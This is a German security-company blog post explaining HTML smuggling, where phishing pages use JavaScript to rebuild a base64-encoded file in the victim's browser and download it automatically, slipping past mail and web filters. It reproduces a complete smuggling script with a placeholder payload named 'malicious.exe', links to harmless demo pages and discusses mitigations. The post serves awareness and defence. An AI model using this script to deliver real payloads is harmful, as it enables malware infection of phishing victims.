Die meisten modernen Mail- bzw. Webfilter blockieren potentiell schädliche Dateitypen wie .exe
oder .docm
noch bevor sie im Browser oder Mailclient der Benutzer überhaupt ankommen.
Dies erlaubt es Benutzern, sicher Mails zu empfangen und durchs Internet zu surfen. Also alles super! Oder?
Was aber, wenn Angreifer schädliche Dateien nicht z. B. per Mail versenden, sondern den Browser des Opfers ausnutzen, damit dieser die schädlichen Dateien erzeugt und auf dem Rechner platziert?
Genau diesen Umstand macht sich das sogenannte HTML Smuggling zunutze. Anstatt den Phishing-Opfern direkt eine Datei als Anhang oder Download-Link zu schicken, wird die Malware im HTML oder JavaScript einer Webseite eingebettet, die das Opfer besuchen soll. Unsere Erfahrung zeigt, dass der aktuelle Schutz vieler Unternehmen dagegen bestenfalls mangelhaft ist.
Probieren Sie es selbst!
Sie möchten testen, ob Sie für einen solchen Angriff anfällig sind? Hier sind zwei Links zu HTML-Seiten, die Dateien mittels HTML Smuggling herunterladen. Es handelt sich dabei um eine harmlose .exe
-Datei (whoami.exe
von Microsoft) sowie eine ZIP-Datei, die whoami.exe
enthält:
- EXE-Datei: https://lutrasecurity.com/articles/html-smuggling-exe/
- ZIP-Datei: https://lutrasecurity.com/articles/html-smuggling-zip/
Wie funktioniert es?
Typischerweise wurde früher einem Opfer eine schädliche Datei direkt als Mail-Anhang (z. B. malicious.exe
) oder Downloadlink (z. B. https://lutrasecurity.com/evil.exe
) geschickt. Beim HTML Smuggling wird dem Opfer stattdessen nur ein Link auf eine HTML-Seite oder eine HTML-Datei geschickt.
Der Inhalt und das Aussehen dieser HTML-Seite wird dabei natürlich auf das Phishing-Szenario angepasst und kann alles Mögliche sein. Zum Beispiel eine nachgebaute Downloadseite eines Cloud-Anbieters.
In dieser HTML-Seite verbirgt sich aber schädliches JavaScript, wie das Folgende:
<html>
<body>
<script>
// Function to convert the base64 encoded file to an array buffer
function base64ToArrayBuffer(base64) {
var binary_string = window.atob(base64);
var len = binary_string.length;
var bytes = new Uint8Array( len );
for (var i = 0; i < len; i++) { bytes[i] = binary_string.charCodeAt(i); }
return bytes.buffer;
}
// 1. The name and content of the malicious file
var fileName = 'malicious.exe';
var file ='<< BASE64 ENCODING OF MALICIOUS FILE >>';
// 2. Convert the base64 encoded file and create a new Blob
var data = base64ToArrayBuffer(file);
var blob = new Blob([data], {type: 'octet/stream'});
// 3. Automatically start to download the file
if(window.navigator.msSaveOrOpenBlob) window.navigator.msSaveBlob(blob,fileName);
else {
var a = document.createElement('a');
document.body.appendChild(a);
a.style = 'display: none';
var url = window.URL.createObjectURL(blob);
a.href = url;
a.download = fileName;
a.click();
window.URL.revokeObjectURL(url);
}
</script>
</body>
</html>
Code von Outflank.
Der JavaScript-Code innerhalb der <script>
-Tags führt beim Aufruf der Seite die folgenden Aktionen aus:
- Der Name sowie der Inhalt der geschmuggelten Datei wird definiert.
- Aus dem Base64-enkodierten Dateiinhalt wird ein JavaScript
Blob
erstellt. - Die Datei wird entweder mittels
msSaveBlob
oder einem automatisierten Downloadbutton heruntergeladen.
Wird eine solche Seite besucht, wird die Datei automatisch heruntergeladen:
Mitigation
Die Abwehr dieses Angriffs ist leider ziemlich schwierig. Das liegt vor allem daran, dass die meisten Mitarbeiter das Internet nutzen können müssen, um zu ihre Arbeit zu erledigen. Daher ist eine Allowlist bzw. das Sperren des Internets natürlich nicht praktikabel.
Auch Signature-Based Detection ist nur ein Anfang und nicht ausreichend. Besonders weil JavaScript viele Möglichkeiten bietet, den HTML Smuggling-Code fast beliebig zu verändern und somit zu obfuskieren.
Ein weiterer möglicher Ansatz wäre es, die für den Angriff verwendeten JavaScript- bzw. HTML-Features zu blockieren. Leider ist auch dies nicht so einfach, da viele legitime Webseiten diese Features verwenden und eventuell nicht mehr korrekt funktionieren würden.
Ein besserer Ansatz ist es, den Download gefährlicher Dateien innerhalb des Browsers zu verbieten. Aber auch hier gibt es Schwierigkeiten: Gefährliche Dateien können nämlich auch in anderen harmloseren Dateien enthalten sein (Beispiel ZIP-Datei).
Ein vollständiger Schutz vor HTML Smuggling ist also nur sehr schwer zu erreichen.
Fazit
Das sieht jetzt erstmal ziemlich düster aus. Nicht nur weil HTML Smuggling ein gefährlicher Angriff ist, mit dem Angreifer oftmals unbemerkt schädliche Dateien an ihre Opfer schicken können. Sondern vor allem, weil die Verteidigung gegen diesen Angriff sich schwierig gestaltet. Einfache Webfilter versagen hier nämlich völlig.
Dennoch sollten Sie Sicherheitsmaßnahmen ergreifen, um dem Risiko zu begegnen. Auch wenn die Maßnahmen nicht zu 100 % wirksam sind. Denn Sie sollten sowieso stets davon ausgehen, dass einzelne Sicherheitsmaßnahmen und -lösungen versagen können. Ist das der Fall sollte aber natürlich nicht direkt das gesamte IT-Sicherheitskonzept versagen. Ganz im Sinne eines Defense in Depth-Ansatzes sollten einem Angreifer viele weitere Hindernisse in den Weg gelegt werden.
Wenn Sie Interesse haben, diese und viele weitere Tests in Ihrem Unternehmen durchzuführen und Ihre IT-Sicherheit insgesamt oder in Teilaspekten auf den Prüfstand zu stellen, sprechen Sie uns gerne an!